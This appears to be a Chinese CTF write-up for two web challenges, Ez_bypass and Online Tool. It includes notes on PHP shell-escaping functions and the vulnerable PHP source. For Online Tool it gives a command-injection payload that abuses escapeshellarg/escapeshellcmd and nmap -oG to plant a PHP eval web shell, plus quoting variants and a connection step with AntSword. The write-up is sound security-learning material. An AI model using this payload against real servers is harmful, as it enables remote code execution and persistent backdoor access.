知识点
-
is_numeric()函数
- 语法:bool is_numeric ( mixed $var )
- 参数:$var:要检测的变量。
- 作用:判断是否为数字和数字字符串,如果是返回true,否则返回false。
-
escapeshellarg()函数
- 语法:escapeshellarg ( string
$arg
) - 参数:$arg 需要被转码的参数。
- 作用:将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号, 这样以确保能够直接将一个字符串传入 shell 函数
-
escapeshellcmd()函数
- 语法:escapeshellcmd ( string
$command
) - 参数:
$command
要转义的命令。 - 作用:对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
-
NMAP命令
- NMap,也就是Network Mapper,是Linux下的网络扫描和嗅探工具包。
15-1 [MRCTF2020]Ez_bypass
做题思路
看见提示,打开 f12
得到源码
分析源码
I put something in F12 for you <?php include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { // 传入两个GET,gg和id $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { // 经过md5后两个值,全等,且传入的值不相同 echo 'You got the first step'; if(isset($_POST['passwd'])) { // 传入POST,passwd $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { // passwd不能为数字 if($passwd==1234567) { // passwd必须要和1234567对等 echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } ?> Please input first
然后抓包 分别用get和post传入变量
得到flag
15-2 [BUUCTF 2018]Online Tool
做题思路
打开发现又是关于php代码审计
又出现几个新函数,百度之后仍不能理解,看WP
发现 这两个函数按代码里那样的顺序使用,是会产生漏洞的,如果是反过来就不会。详情可见
nmap命令 -oG 将一个命令写入到自己指定的文件中
payload
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
传入一句话木马之后,给了路径
利用蚁剑连接即可 http://602b2eb4-cd7c-4f2e-8db6-9ce5d38c1415.node3.buuoj.cn/02e6dd81c725439eddc19853444bb3b6/hack.php
然后找到 flag
其中有些细节
首先是后面没有加引号 ?host=' <?php phpinfo();?> -oG test.php;
''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php\'
返回结果是上面那样文件名后面会多一个引号
然后是加引号但引号前没有空格
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php'
运行结果如下
''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php'\\'''
文件名后面就会多出\\